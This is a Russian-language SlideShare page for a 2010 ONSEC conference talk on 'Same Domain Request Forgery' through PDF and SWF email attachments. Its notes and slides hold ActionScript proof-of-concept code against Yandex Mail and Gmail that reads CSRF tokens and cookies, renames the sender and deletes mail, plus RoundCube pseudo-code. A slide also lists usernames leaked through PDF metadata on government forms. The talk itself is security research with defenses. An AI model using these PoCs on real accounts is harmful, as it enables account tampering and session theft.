Chaos Construcions 2010 SDRF presentation [ONSEC]

2,025 views

Published on


This report describes a vulnerability type called SDRF. There are several
examples that demonstrate the risk of the above-mentioned class of
vulnerability. Causes of its existence and methods of protection from SDRF
are also observed in the report.

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
2,025
On SlideShare
0
From Embeds
0
Number of Embeds
445
Actions
Shares
0
Downloads
13
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • Ошибка Opera позволяет открыть аттач к письму в контексте домена, с которого контент передается. В остальных браузерах такой контент скачивается локальным файлом. Контент для данной атаки - SWF файл, прикрепленый к письму на яндекс-почту. Получаем флэшку открытую на домене http://webattach.mail.yandex.net . Теперь пользуемся тем, что домен доверенный для mail.yandex.ru: view-source: http://mail.yandex.ru/crossdomain.xml Строка: < allow-access-from domain="*.yandex.net"/> Отправляем их флэшки запросы типа CSRF. Например, меняем имя пользователя: import flash.external.ExternalInterface; import flash.net.URLVariables; import mx.controls.Alert; import mx.rpc.events.ResultEvent; import mx.rpc.events.FaultEvent; import mx.rpc.http.mxml.HTTPService; private var _urlVariables:URLVariables; private var browserCookieString:String; private var ckey:String; public function changeMailName(){ var params:Object={}; params['ckey']=ckey; params['from_name']='i-am-hacked'; httpService2.send(params); } public function getCKEY():void{ httpService.send(); /*browserCookieString = ExternalInterface.call("function(){return document.cookie}"); Alert.show(browserCookieString); browserCookieString = browserCookieString.replace(/;s/g, "&"); if(browserCookieString) { _urlVariables = new URLVariables(browserCookieString); } Alert.show("COOK: "+browserCookieString);*/ } private function httpService_result(evt:ResultEvent):void { //var xmlList:XMLList = XML(evt.result).images.image; var resp:String = evt.result.toString(); var sI:int = resp.search("ckey='"); var eI:int = resp.substring(sI+6).search("'"); ckey=resp.substring(sI+6,sI+eI-1); changeMailName(); }
  • Ошибка Opera позволяет открыть аттач к письму в контексте домена, с которого контент передается. В остальных браузерах такой контент скачивается локальным файлом. Контент для данной атаки - SWF файл, прикрепленый к письму на яндекс-почту. Получаем флэшку открытую на домене http://webattach.mail.yandex.net . Теперь пользуемся тем, что домен доверенный для mail.yandex.ru: view-source: http://mail.yandex.ru/crossdomain.xml Строка: < allow-access-from domain="*.yandex.net"/> Отправляем их флэшки запросы типа CSRF. Например, меняем имя пользователя: import flash.external.ExternalInterface; import flash.net.URLVariables; import mx.controls.Alert; import mx.rpc.events.ResultEvent; import mx.rpc.events.FaultEvent; import mx.rpc.http.mxml.HTTPService; private var _urlVariables:URLVariables; private var browserCookieString:String; private var ckey:String; public function changeMailName(){ var params:Object={}; params['ckey']=ckey; params['from_name']='i-am-hacked'; httpService2.send(params); } public function getCKEY():void{ httpService.send(); /*browserCookieString = ExternalInterface.call("function(){return document.cookie}"); Alert.show(browserCookieString); browserCookieString = browserCookieString.replace(/;s/g, "&"); if(browserCookieString) { _urlVariables = new URLVariables(browserCookieString); } Alert.show("COOK: "+browserCookieString);*/ } private function httpService_result(evt:ResultEvent):void { //var xmlList:XMLList = XML(evt.result).images.image; var resp:String = evt.result.toString(); var sI:int = resp.search("ckey='"); var eI:int = resp.substring(sI+6).search("'"); ckey=resp.substring(sI+6,sI+eI-1); changeMailName(); }
  • Chaos Construcions 2010 SDRF presentation [ONSEC]

    1. 1. УЯЗВИМОСТИ SDRF Н овые идеи и их применение .
    2. 2. PDF и SWF позволяют <ul><li>Отправлять запросы GET/POST/PUT на домен, в контексте которого открыт файл, без подтверждения со стороны пользователя ( диалог Adobe Reader) и без спец. настройки сервера ( crossdomain.xml ) ; </li></ul><ul><li>Добавлять в HTTP запросы произвольные заголовки </li></ul><ul><li>Обрабатывать HTTP ответы (получение авторизационных данных, переменных) ; </li></ul><ul><li>Вызывать обычный JavaScript в браузере (только SWF?); </li></ul>
    3. 3. <ul><li>Подделка HTTP запросов пользователя, но в отличие от CSRF , подделываются запросы, отправляемые от имени пользователя на тот же домен, где расположен вредоносный код, эксплуатирующий уязвимость. </li></ul><ul><li>SDRF реализуются через стандартные функции Adobe Flash Player© и Adobe Reader©. Разумеется, можно использовать SDRF и классическими методами, например через HTML инъекции или XSS. </li></ul>WTF the Same Domain Request Forgery?
    4. 4. <ul><li>Злоумышленник отправляет жертве письмо с вложением – PDF или SWF файлом. Файл содержит вредоносный код. </li></ul><ul><li>Жертва получает письмо злоумышленника и открывает приложенный файл через веб-интерфейс RoundCube. </li></ul><ul><li>В контексте браузера запускается плагин Adobe Reader ©, который обрабатывает и выполняет вредоносный код. От имени пользователя выполняются какие-либо действия в веб-приложении. </li></ul>SDRF в веб-приложениях. RoundCube .
    5. 5. SDRF в веб-приложениях. RoundCube .
    6. 6. 1. var resp = GET(‘http://target-domain/?_task=mail&mbox=INBOX’) 2. var request_token = resp.substring(resp.search(‘request_token’),33) 3. POST(‘http://target-domain/?_task=mail&_action=moveto’, ’ _uid=2451&_mbox=INBOX&_target_mbox=Trash&_from=&_remote=1’, ’ application/x-www-form-urlencoded’,’UTF-8’ ,concat(‘X-RoundCube-Request=’,request_token)) SDRF в веб-приложениях. RoundCube .
    7. 7. SDRF в веб-приложениях. Защита. <ul><li>Запретить загрузку файлов PDF и SWF со стороны пользователя </li></ul><ul><li>Запретить прямой доступ к загруженным файлам PDF и SWF средствами веб-сервера. Вместо этого использовать средства веб-приложения, добавлять заголовок Content-type:Application/octet-stream. </li></ul><ul><li>Перенести хранилище файлов PDF и SWF на другой домен, где вообще отсутствуют веб-приложения. </li></ul>
    8. 8. SDRF в браузерах. Opera 10.60+ <ul><li>Браузер выводит диалоговое окно даже при обработке HTTP ответа c заголовком Content-Type: application/octet-stream. </li></ul><ul><li>Если в этом диалоге пользователь нажмет кнопку «Открыть», результат будет таким же, как если бы документ был подключен в тэг <embed> страницы веб-приложения! </li></ul><ul><li>Такая особенность браузера ставит под удар большинство веб-приложений. </li></ul>
    9. 9. SDRF в браузерах. Opera 10.60+ <ul><li>Если пользователь использует Opera10.60+, уязвимыми оказываются веб-приложения, защищенные от SDRF в других браузерах. </li></ul><ul><li>Google Mail, Yandex Mail, все остальные </li></ul>
    10. 10. SDRF PoC: Gmail && Opera 10.60+ <ul><li>Пользователь открывает приложение к письму </li></ul>
    11. 11. SDRF PoC: Gmail && Opera 10.60+ <ul><li>Пользователь нажимает «Открыть» в диалоге. </li></ul>
    12. 12. SDRF PoC: Gmail && Opera 10.60+ public function getIK():void{ httpService.send(); browserCookieString = ExternalInterface.call(&quot;function(){return document.cookie}&quot;); browserCookieString = browserCookieString.replace(/;s/g, &quot;&&quot;); if(browserCookieString) {_urlVariables = new URLVariables(browserCookieString); } } private function httpService_result(evt:ResultEvent):void{ var resp:String = evt.result.toString(); var sI1:int = resp.search(&quot;GLOBALS=&quot;); ik = resp.substring(sI1+129,sI1+139); var sI2:int = browserCookieString.search(&quot;&GMAIL_AT=&quot;); at = browserCookieString.substring(sI2+10,sI2+10+34); deleteEmail(); }
    13. 13. CSRF PoC: Opera 10.60+ Yandex.Mail <ul><li>Уязвимость Opera позволяет открыть прикрепленный файл к письму в контексте домена webattach.yandex.net </li></ul><ul><li>Crossdomain.xml на mail.yandex.ru разрешает запросы от Flash с этого домена: </li></ul><ul><li><allow-access-from domain=&quot;*.yandex.net&quot;/> </li></ul><ul><li>Простое приложение на Flash может отравлять запросы с webattach.yandex.net на mail.yandex.ru и обрабатывать результаты. </li></ul>
    14. 14. CSRF PoC: Opera 10.60+ Yandex.Mail public function changeMailName(){ var params:Object={}; params['ckey']=ckey; params['from_name']='i-am-hacked'; httpService2.send(params); } private function httpService_result(evt:ResultEvent):void { var resp:String = evt.result.toString(); var sI:int = resp.search(&quot;ckey='&quot;); var eI:int = resp.substring(sI+6).search(&quot;'&quot;); ckey=resp.substring(sI+6,sI+eI-1); changeMailName(); }
    15. 15. SDRF === CSRF ? === ? the Same Domain Request Forgery Cross Site Request Forgery
    16. 16. <ul><li>Запретить загрузку файлов от пользователя ;) </li></ul><ul><li>Вынести все пользовательские загрузки на отдельный домен; </li></ul><ul><li>Запретить этот домен в crossdomain.xml основного домена; </li></ul>Можно защитить веб и под Opera !
    17. 17. Что еще прячется в PDF? Формат содержит мета-данные, в них может содержаться, например, путь в системе, где был создан файл. В Windows системах этот путь, как правило, содержит логин пользователя. C:Documents and Settings Vasya My Documentsfirst.pdf
    18. 18. <ul><li>Анализ публично доступных PDF форм на доменах .GOV показал: </li></ul>Что еще прячется в PDF? 1010ez.med.va.gov vha-10-10ez.pdf vhacostoutm cars.gov salvage-auction-certification-form.pdf Administrator dps.nv.gov NTAC Suspicious Activity Report Form.pdf dmestey uscis.gov i-134.pdf barobbs climatescience.gov form-submit-event.pdf gminasyan fms.gov.ru form1p_1april2010.pdf andre sba.gov form_tr1010.pdf rsultan eda.gov Form ED-209S (Semiannual) - FINAL.pdf ktilakaratne tinet.ita.doc.gov doc_order_form.pdf Katjaterp forms.cbp.gov CBP_Form_4457.pdf jkim
    19. 19. КОНТАКТЫ: [email_address] ВОПРОСЫ ???

    ×